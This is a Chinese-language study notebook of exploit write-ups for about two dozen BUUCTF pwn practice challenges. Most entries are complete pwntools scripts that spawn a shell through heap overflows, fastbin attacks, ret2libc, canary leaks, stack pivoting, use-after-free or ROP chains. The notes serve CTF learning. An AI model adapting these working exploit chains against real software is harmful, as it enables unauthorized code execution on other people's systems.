buu第二页笔记

1、babyheap_0ctf_2017

 保护全开,64位,动态链接,ida打开,菜单堆题

 输入1分配堆块,分析sub_D48函数

 chunk的指针指向堆块缓冲区的,输入2进入fill函数的调用,对修改的chunk大小无限制,则可以造成堆溢出

 

 之后看看Free的操作,也就是sub_F50函数,正常,无漏洞,接下来就是dump把信息打印出来

 这道题是堆溢出漏洞利用,菜单堆题,FULL RELRO全开,修改不了got表函数的地址,通过堆块重叠技术泄露libc的地址,然后可以利用,通过计算得one_gadget,再利用fastbin dup修改,使__malloc_hook指针指向one_gadget,先创建四个fast chunk,一个small chunk,再将第一个和第二个chunk释放,因为fastbins是单链表结构,第三个fastbinfr会指向

add(0x10) #chunk0
add(0x10) #chunk1
add(0x10) #chunk2
add(0x10) #chunk3
add(0x80) #chunk4
free(1) #chunk1 [free]
free(2) #chunk2 [free]

同时chunk2的fd指针会指向chunk1的地址,我们现在利用堆溢出漏洞修改chunk2的fd指针使其chunk4,将small chunk链接进fastbin中,

 先看一下chunk在堆的布局

 再通过fill函数修改chunk2的fd指针指向chunk4,由于heap的初始化使用是brk系统调用,同时页对齐,所以地址的低3位总是0x000,所以修改chunk2的fd指针地址低位字节是0x80

payload=b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0x21)+p8(0x80)     #要把chunk4的size大小改为0x21,因为在malloc的时候是会进行检查chunk的大小
fill(0,payload)
payload=b'a'*0x10+p64(0)+p64(0x21)         
fill(3,payload)

上图已经把chunk4加入fastbin的链表中,接下来就是把chunk4改入unsortedbin的中,因为我们要获得main_arena函数地址,而unsoredbin中的chunk的fd和bk指针会指向该函数附近

add(0x10)
add(0x10)

把我们伪造的chunk4创建为一个新的fast chunk,但因为fastbin是后进先出的单链表结构,我们需要先把chunk2创建,后才能把chunk4创建,如下图

同时在free函数中有个检查,如果不是fastbin就会有一个chunk合并过程,先检查上一个chunk的是否为释放状态,是就合并,不是就向下检查,如果下一个是topchunk 就会并入topchunk,不是就结束合并,且会将该chunk并入unsorted bin  ,且unsortedbin chunk 的fd和bk会指向一段libc的地址,距离main_arena函数地址很近,我们们就可以想办法泄露出函数地址并得到libc基址,从而篡改malloc_hook函数指针指向one_gadget,下方在使chunk4并入unsorted bin时把size大小修改回0x91,且要在malloc一个chunk5防止chunk4在释放时并入top  chunk

payload=b'a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
add(0x80) #chunk5
free(4)

dump(2)   #这里的2,我的理解是在最开始的时候是free的1、2,然后我们再申请时,分配时把chunk4当成了chunk2,所以dump2其实是dump4
p.recvline()
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
malloc_hook=main_arena-0x58-0x10
print(hex(malloc_hook))

通过dump把libc上的地址泄露之后找到__malloc_hook函数和unsortedbin的fd指针相差0x58+0x10,然后通过libc文件的__malloc_hook函数地址,再泄露libc基址

main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
malloc_hook=main_arena-0x58-0x10
print(hex(malloc_hook))
malloc_hook_addr=libc.sym['__malloc_hook']
print(hex(malloc_hook_addr))
libcbase=malloc_hook-malloc_hook_addr
print(hex(libcbase))

 得到libc得基址之后就可以利用one_gadget进行攻击,再次利用漏洞使fake chunk

 同时要用到一点小技巧--错位偏移,像main_arena的地址高位都是0x7f,同时fastbin的大小限定范围在0x20-0x80之间,可以伪造一个0x7f的chunk刚好就在范围内

fake_chunk=libcbase+0x3c4aed
add(0x60) #chunk4
free(4)                              #切割unsortedbinchunk 为fastbin attack 做准备
fill(2,p64(fake_chunk))                       把fd指针指向伪造的chunk            

add(0x60) #chunk4
add(0x60) #chunk6
fill(6,b'a'*0x13+p64(onegadget))

 完整Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./babyheap_0ctf_2017"
p=process(pwn)
p=remote("node4.buuoj.cn",27007)
elf=ELF(pwn)
libc=ELF("./libc-2.23-x64.so")
def add(size):
p.sendlineafter("Command: ",str(1))
p.sendlineafter("Size: ",str(size))

def fill(index,content):
p.sendlineafter("Command: ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(len(content)))
p.sendlineafter("Content: ",content)

def free(index):
p.sendlineafter("Command: ",str(3))
p.sendlineafter("Index: ",str(index))

def dump(index):
p.sendlineafter("Command: ",str(4))
p.sendlineafter("Index: ",str(index))

add(0x10) #chunk0 index0
add(0x10) #chunk1 index1
add(0x10) #chunk2 index2
add(0x10) #chunk3 index3
add(0x80) #chunk4 index4
free(1) #chunk1 [free]
free(2) #chunk2 [free]

payload=b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload=b'a'*0x10+p64(0)+p64(0x21)
fill(3,payload)

add(0x10) #index 2->new chunk1
add(0x10) #index 4->new chunk2

payload=b'a'*0x10+p64(0)+p64(0x91)
fill(3,payload)
add(0x80) #chunk5
free(4)

dump(2)
p.recvline()
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
malloc_hook=main_arena-0x58-0x10
print(hex(malloc_hook))
malloc_hook_addr=libc.sym['__malloc_hook']
print(hex(malloc_hook_addr))
libcbase=malloc_hook-malloc_hook_addr
print(hex(libcbase))
onegadget=libcbase+0x4526a

fake_chunk=libcbase+0x3c4aed
add(0x60) #chunk4
free(4)
fill(2,p64(fake_chunk))
#gdb.attach(p)
#pause()
add(0x60) #chunk4
add(0x60) #chunk6
fill(6,b'a'*0x13+p64(onegadget))

add(1)
#pause()

p.interactive()

2、wustctf2020_getshell

32位,NX保护,RELEO半开

 gdb动态调试一下,是一道简单的栈溢出

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./wustctf2020_getshell"

p=process(pwn)
#p=remote("pwn.node.game.sycsec.com",31311)
elf=ELF(pwn)
backdoor=0x804851B
#gdb.attach(p,'b *$rebase(0x1270)')
payload=b'a'*0x1c+p32(backdoor)
p.send(payload)
#gdb.attach(p)
#pause()
p.interactive()

3、jarvisoj_level3_x64

 64位,只开了NX保护,ida打开看看

这里发生栈溢出,且无后门函数,应该是ret2libc,先泄露write或read函数地址再进行取得shell

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level3_x64"

#p=process(pwn)
p=remote("node4.buuoj.cn",29084)
elf=ELF(pwn)
rdi=0x4006b3
rsi_r15=0x4006b1
ret=0x400499
#gdb.attach(p,'b *0x400619')
#pause()
payload=b'a'*0x88+p64(rdi)+p64(0x1)+p64(rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.sym['write'])+p64(elf.sym['main'])   #write函数的第三个参数rdx为0x200所以不用通过libc_csu_init函数控制rdx

p.sendlineafter("Input:\n",payload)
write_addr=u64(p.recv(6).ljust(8,b'\x00'))
print('write_addr->',hex(write_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=write_addr-libc.sym['write']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0x88+p64(ret)+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
#pause()
p.interactive()

4、bjdctf_2020_babyrop2

 64位,RELRO半开,Canary,NX都开启了,ida打开看看

 __isoc99_scanf("%6s", format)注意这个函数,导致我们只能输入到栈上的长度只有6个字节

 主函数下两个函数,联合看就很清晰了,第一个gift函数栈溢出加格式化字符串漏洞,可以把canary打印出来,第二个函数栈溢出,无后门函数,那就是ret2libc,ROPgadget获取一下gadget

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./bjdctf_2020_babyrop2"

#p=process(pwn)
p=remote("node4.buuoj.cn",29080)
elf=ELF(pwn)
rdi=0x400993
ret=0x4005f9
#gdb.attach(p,'b *0x40084B')
#pause()
p.recv()
payload=b'%7$p'   #这里是%p    %2$p  %3$p一次一次换着试的
p.sendline(payload)

canary=int(p.recv(18),16)

print('canary->',hex(canary))

payload=b'a'*0x18+p64(canary)+b'a'*8+p64(rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(elf.sym['vuln'])
p.recv()
p.sendline(payload)
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
print('puts_addr->',hex(puts_addr))

libc=ELF("./libc-2.23-x64.so")
libcbase=puts_addr-libc.sym['puts']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))

payload=b'a'*0x18+p64(canary)+b'a'*8+p64(rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
print('libcbase->',hex(libcbase))
print('system->',hex(sys_addr))
print('bin_sh->',hex(bin_sh))
#pause()
p.interactive()

5、pwnable_orw

日常检查,canary开了,RELRO半开,32位,ida打开看看

 

 这seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下把一些系统调用禁掉,把用户态和内核态进行隔离,让用户态的进程,不要影响到内核态,从而保证系统安全。

用seccmop-tools查看只能用rt_sigreturn ,sigretrn,exit,open,read,write的调用

用pwntools自带的shellcraft

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./orw"
#p=process(pwn)
p=remote("node4.buuoj.cn",26832)
elf=ELF(pwn)

buf=0x804A100
shellcode=shellcraft.open('/flag')
shellcode+=shellcraft.read(3,buf,0x40)
shellcode+=shellcraft.write(1,buf,0x40)
p.sendlineafter("Give my your shellcode:",asm(shellcode))

print(p.recv())

6、mrctf2020_shellcode

 64位,RELRO全开,PIE开启,ida查看一下

 反编译不了,直接看汇编语言,调用puts函数后调用了read函数读入0x400个字节大小的数据,但是看前面的汇编rbp距离rsp有0x410个字节栈溢出不了,但是栈上有可读可写可执行段,同时读入数据个数不为零时,他会call 栈上的值,我们就可以直接往栈上写入shellcode

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

pwn="./mrctf2020_shellcode"
#p=process(pwn)
p=remote("node4.buuoj.cn",28644)

elf=ELF(pwn)
#gdb.attach(p,'b *$rebase0x11C9')
#pause()
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)

p.interactive()

7、jarvisoj_level4

 日常检查,RELRO半开,NX保护,栈不可执行,32位,ida打开看看

 浅看一下,应该是栈溢出的ret2libc3

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./level4"
#p=process(pwn)
p=remote("node4.buuoj.cn",25859)
elf=ELF(pwn)
#gdb.attach(p,'b *$rebase0x11C9')
#pause()
payload=b'a'*0x8c+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.send(payload)
write_addr=u32(p.recv(4))
print('read->',hex(write_addr))

libc=ELF("./libc-2.23.so")
libcbase=write_addr-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
print('libcbase->',hex(libcbase))
payload=b'a'*0x8c+p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.send(payload)

p.interactive()

8、bjdctf_2020_router

 64位,RELRO半开,NX保护开启,ida看看

 这个直接执行system(sh)就行用“||”绕过,strcat函数是拼接

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./bjdctf_2020_router"
#p=process(pwn)
p=remote("node4.buuoj.cn",29400)
elf=ELF(pwn)
#gdb.attach(p,'b *$rebase0x11C9')
#pause()
p.recv()
p.sendline(str(1))

payload=b'||sh'
p.send(payload)
p.interactive()

9、picoctf_2018_buffer overflow 1

 32位,RELEO半开,ida打开看看

 显而易见栈溢出,然后找到后门函数

 

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_buffer_overflow_1"
#p=process(pwn)
p=remote("node4.buuoj.cn",25469)
elf=ELF(pwn)
#gdb.attach(p,'b *$rebase0x1241')
#pause()
win=0x80485CB
payload=b'a'*0x2c+p32(win)
p.sendline(payload)
#pause()
p.interactive()

10、[ZJCTF 2019]EasyHeap

 RELRO半开,Canary打开,NX保护,动态链接,ida打开,堆题,只有增加删除修改,且当输入的v3==4869时,同时满足magic大于0x1305就可以得到flag

 同时修改函数的大小如果比创建的chunk的size大的话可以造成栈溢出

 

错位偏移小技巧,伪造一个0x7f大小的chunk

 用伪造堆块来进行覆盖数据,把magic的内容改为比0x1305大就行

add(0x10,b'a'*8) #chunk0
add(0x60,b'a'*0x10) #chunk1
add(0x60,b'a'*0x10) #chunk2
add(0x10,b'/bin/sh\x00') #chunk3
dele(1)
dele(2)

payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x6020ad)
edit(0,payload)    

根据下图已经改了chunk2的fd指针指向了我们的fake chunk

add(0x60,b'f') #chunk2->new chunk1
add(0x60,b'g'*8) #fake_chunk->new chunk2

 接下来就是出意外了,没有这个文件

 根据上图的地址在0x6020a0的图看到heaparray的指针,可以修改chunk0的指针指向free函数的got地址,在把system函数改进free函数的got地址上

print(hex(elf.got['free']))
edit(2,b'a'*0x23+p64(elf.got['free']))   

edit(0,p64(elf.plt['system']))

 再往chunk的内容写入"/bin/sh\x00"再调用free函数就行

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./easyheap"
p=process(pwn)
#p=remote("node4.buuoj.cn",29729)
elf=ELF(pwn)
libc=ELF("./libc-2.23-x64.so")
def add(size,cont):
p.sendlineafter("Your choice :",str(1))
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",cont)

def edit(index,cont):
p.sendlineafter("Your choice :",str(2))
p.sendlineafter("Index :",str(index))
p.sendlineafter("Size of Heap : ",str(len(cont)))
p.sendlineafter("Content of heap : ",cont)

def dele(index):
p.sendlineafter("Your choice :",str(3))
p.sendlineafter("Index :",str(index))

#gdb.attach(p)
#pause()
add(0x10,b'a'*8) #chunk0
add(0x60,b'a'*0x10) #chunk1
add(0x60,b'a'*0x10) #chunk2
add(0x10,b'/bin/sh\x00') #chunk3
dele(1)
dele(2)

payload=p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x6020ad)
edit(0,payload)


add(0x60,b'f') #chunk2->new chunk1
add(0x60,b'g'*8) #fake_chunk->new chunk2
print(hex(elf.got['free']))
edit(2,b'a'*0x23+p64(elf.got['free']))

edit(0,p64(elf.plt['system']))
dele(3)
#pause()
p.interactive()

11、inndy_rop

 32位,静态编译文件,RELRO半开,NX保护开启

用ROPgadget --binary ./rop --ropchain

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
p = process('./rop')
p = remote('node4.buuoj.cn', 28930)
elf = ELF('./rop')

def get_payload():
p = b'a'*16
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p

shellcode = get_payload()
p.sendline(shellcode)
p.interactive()

12、[Black Watch 入群题]PWN

 32位,RELRO半开,NX保护开启,ida打开看看

 第一个read在BSS段上写0x200,第二个read只能覆盖到ret,那就是栈迁移的题目了,第一个payload要预留0x4字节的空间,因为第二个payload的leave会跟ret使eip指向下个地址

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./spwn"

#p=process(pwn)
p=remote("node4.buuoj.cn",28921)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048512')
#pause()
shell=0x804A300
leave=0x8048511
p.recv()
payload=b'aaaa'+p32(elf.sym['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.sendline(payload)
p.recv()
payload=b'a'*0x18+p32(shell)+p32(leave)
p.send(payload)
#pause()
read_addr=u32(p.recv(4))
print('read->',hex(read_addr))

libc=ELF("./libc-2.23.so")
libcbase=read_addr-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))


payload=b'aaaa'+p32(sys_addr)+p32(0)+p32(bin_sh)
p.sendline(payload)
payload=b'a'*0x18+p32(shell)+p32(leave)
p.send(payload)

p.interactive()

13、jarvisoj_test_your_memory

 32位RELRO半开,Nx保护开启,ida打开看看

 

 这题主要就是很容易被误导(有可能只有我),这道题主要就是men_test函数栈溢出,很普通的栈溢出,加返回地址调用system(cat flag)函数

 1 Exp:
 2 from struct import pack
 3 from LibcSearcher import *
 4 from pwn import *
 5 #context(os='linux', arch='amd64', log_level='debug')
 6 context(os='linux', arch='i386', log_level='debug')
 7 def debug():
 8 gdb.attach(p)
 9 pause()
10 def get_addr():
11 return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
12 pwn="./memory"
13 #p=process(pwn)
14 p=remote("node4.buuoj.cn",29219)
15 elf=ELF(pwn)
16 #gdb.attach(p,'b *0x8048676')
17 #pause()
18 sys_addr=0x80485C9
19 falg=0x80487E0
20 payload=b'a'*0x17+p32(sys_addr)+p32(falg)
21 p.sendline(payload)
22 p.recv()
23 #pause()
24 p.interactive()

14、hitcontraining_uaf

 32位, 延迟绑定,开了NX,ida打开,堆题,有创建堆块,释放堆块,输出堆块内容,

 申请堆块的函数每回都会多申请一个大小为0x11的堆块

 像这个展示的函数就看最后一段的汇编就行,call一个eax,溯源到上面的发现最开始是将notelist[0]的值给了eax,edx是指针数,我们只要在notelist[0]的位置放上后门函数的地址,在调用该展示函数就行,所以edx的值需要为0

 我们先构造两个超过0x11大小的堆块,然后都释放掉,这样我们就得到如下图所示结构,fastbin有两个链表,这时再申请malloc(0x8),就可以取出fastbins中0x10链表的两个chunk,但是这时chunk的指针还没有去除,我们就可以修改chunk 0 的内容改为后门函数  

create(0x20)
create(0x20)
delete(0)
delete(1)

create(0x8,p32(magic))

 可以看到notelist[0]存放的是第一个堆块的fd地址,而堆块的fd地址已经改为后门函数了

from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
import base64
def debug(c=0):
   if(c):
      gdb.attach(p,c)
   else:
      gdb.attach(p)
      pause()   
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='i386', log_level='debug')
pwn="./hacknote"
p=process(pwn)
#p=remote("node5.buuoj.cn",28619)
elf=ELF(pwn)
#---------------------------------------------------------------------------------------------------
def create(size,content=b'a'):
     p.sendlineafter("choice :",str(1))
     p.sendlineafter("Note size :",str(size).encode())
     p.sendlineafter("Content :",content)


def delete(index):
     p.sendlineafter("choice :",str(2))
     p.sendlineafter("Index :",str(index))

def show(index):
     p.sendlineafter("choice :",str(3))
     p.sendlineafter("Index :",str(index))
magic=0x8048945
create(0x20)
create(0x20)
delete(0)
delete(1)
create(0x8,p32(magic))
show(0)
#debug()
#pause()
p.interactive()

 

15、picoctf_2018_buffer overflow 2

很典型的栈溢出,传入a1,a2的值就行

 

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./PicoCTF_2018_buffer_overflow_2"
#p=process(pwn)
p=remote("node4.buuoj.cn",25592)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
win=0x80485CB
a1=0xDEADBEEF
a2=0xDEADC0DE
payload=b'a'*0x70+p32(win)+p32(0)+p32(a1)+p32(a2)
p.sendline(payload)

#pause()
p.interactive()

16、cmcc_simplerop

 32位,RELRO半开,NX保护,静态编译,--ropchain  ,ida打开时发现read只能读入100个字节,所以要自己缩短点  ,但是很菜,也不会缩短到100个字节,看学长笔记试试系统调用

 Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./simplerop"
p=process(pwn)
#p=remote("node4.buuoj.cn",25592)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
eax=0x080bae06
edx_ecx_ebx=0x0806e850
int_80 = 0x080493e1
buf=0x80EAF90

payload=b'a'*0x20+p32(elf.sym['read'])+p32(edx_ecx_ebx)
payload+=p32(0x0)+p32(buf)+p32(0x100)
payload+=p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)*2+p32(buf)+p32(int_80)
p.recv()
p.sendline(payload)
p.sendline(b'/bin/sh\x00')

#pause()
p.interactive()

17、wustctf2020_getshell_2

 32位,RELRO半开,NX保护,ida打开看看

 典型的栈溢出

Exp:

from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./wustctf2020_getshell_2"
p=process(pwn)
#p=remote("node4.buuoj.cn",25592)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
shh=0x8048670
sys_addr=0x08048529
payload=b'a'*0x1c+p32(sys_addr)+p32(shh)
p.send(payload)
#pause()
p.interactive()

18、bbys_tu_2016

 32位,动态编译,RELRO半开,NX保护,栈不可执行,ida打开看看

 简单栈溢出,

Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./bbys_tu_2016"
#p=process(pwn)
p=remote("node4.buuoj.cn",29851)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
falg=0x804856D
payload=b'a'*0x18+p32(falg)
p.sendline(payload)
p.interactive()

19、mrctf2020_easyoverflow

 64位保护全开,终于做到开启pie的题目了,好好学习一下,ida看看

 结果就是简单的栈溢出

Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./mrctf2020_easyoverflow"
#p=process(pwn)
p=remote("node4.buuoj.cn",29847)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400699')
#pause()
payload=b'a'*0x30+b'n0t_r3@11y_f1@g'
p.sendline(payload)
p.interactive()

20、xdctf2015_pwn200

 32位,RELRO半开,NX保护开启,ida打开看看

 ret2libc3,

Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./bof"
#p=process(pwn)
p=remote("node4.buuoj.cn",26471)
elf=ELF(pwn)
#gdb.attach(p,'b *0x8048676')
#pause()
p.recv()
payload=b'a'*0x70+p32(elf.sym['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['read'])+p32(0x4)
p.sendline(payload)
read=u32(p.recv(4))
libc=ELF("./libc-2.23.so")
libcbase=read-libc.sym['read']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
payload=b'a'*0x70+p32(sys_addr)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()

21、ciscn_2019_s_4

32位,RELRO半开,NX保护开了,ida打开看见了hack后门函数,且有vul函数中有格式化字符串漏洞,加能覆盖到ret,那就是栈迁移

 

payload=b'a'*0x24+b'stop'
p.sendafter("name?\n",payload)
p.recvuntil(b'stop')
stack=u32(p.recv(4))

用如上代码泄露栈地址,再构造栈结构通过leave指令栈迁移,

payload=b'a'*4+p32(hack)+b'a'*0x20+p32(stack-0x38)+p32(leave)
p.recv()
p.send(payload)

泄露的栈地址跟我们读入的偏移为0x30,然后就寄了,hack函数只是把flag这个字符串打印了出来,所以还是要走system("/bin/sh")

Exp:
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./ciscn_s_4"
#p=process(pwn)
p=remote("node4.buuoj.cn",27842)
elf=ELF(pwn)
#gdb.attach(p,'b *0x080485FE')
#pause()
leave=0x80485FD
ret=0x080483a6
payload=b'a'*0x24+b'stop'
p.sendafter("name?\n",payload)
p.recvuntil(b'stop')
stack=u32(p.recv(4))
print(hex(stack))
payload=b'a'*4+p32(ret)+p32(elf.sym['system'])+b'aaaa'+p32(stack-0x24)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'\x00')
payload+=p32(stack-0x34)+p32(leave)
p.recv()
p.send(payload)
p.recv()
#pause()
p.interactive()

22、wustctf2020_closed

 64位,RELRO半开,NX保护,ida打开

 

close(1) 和 close(2) 关掉了标准输出和错误输出
因为1和2文件描述符不可用了,所以对标准输出重定向,将文件描述符 1 重定向到终端
exec 1&>0

23、[ZJCTF 2019]Login

 64位,RELRO半开,Canary开了,NX开了,ida打开看看

 c++的题,还找到了后门函数

 发现就是要var_18的地址为后门函数的地址

 根据下图和password的汇编代码可以知道我们通过fgets函数输入的s刚好可以覆盖到var_18

 Exp:
from struct import pack
from LibcSearcher import *
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
context(os='linux', arch='i386', log_level='debug')
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
pwn="./login"
p=process(pwn)
#p=remote("node4.buuoj.cn",27842)
elf=ELF(pwn)
#gdb.attach(p,'b *0x400B6D')
#pause()
pwd=b'2jctf_pa5sw0rd'
user=b'admin'
shell_addr=0x400E88
print(len(pwd))
print(len(user))
p.sendlineafter("Please enter username: ",user)
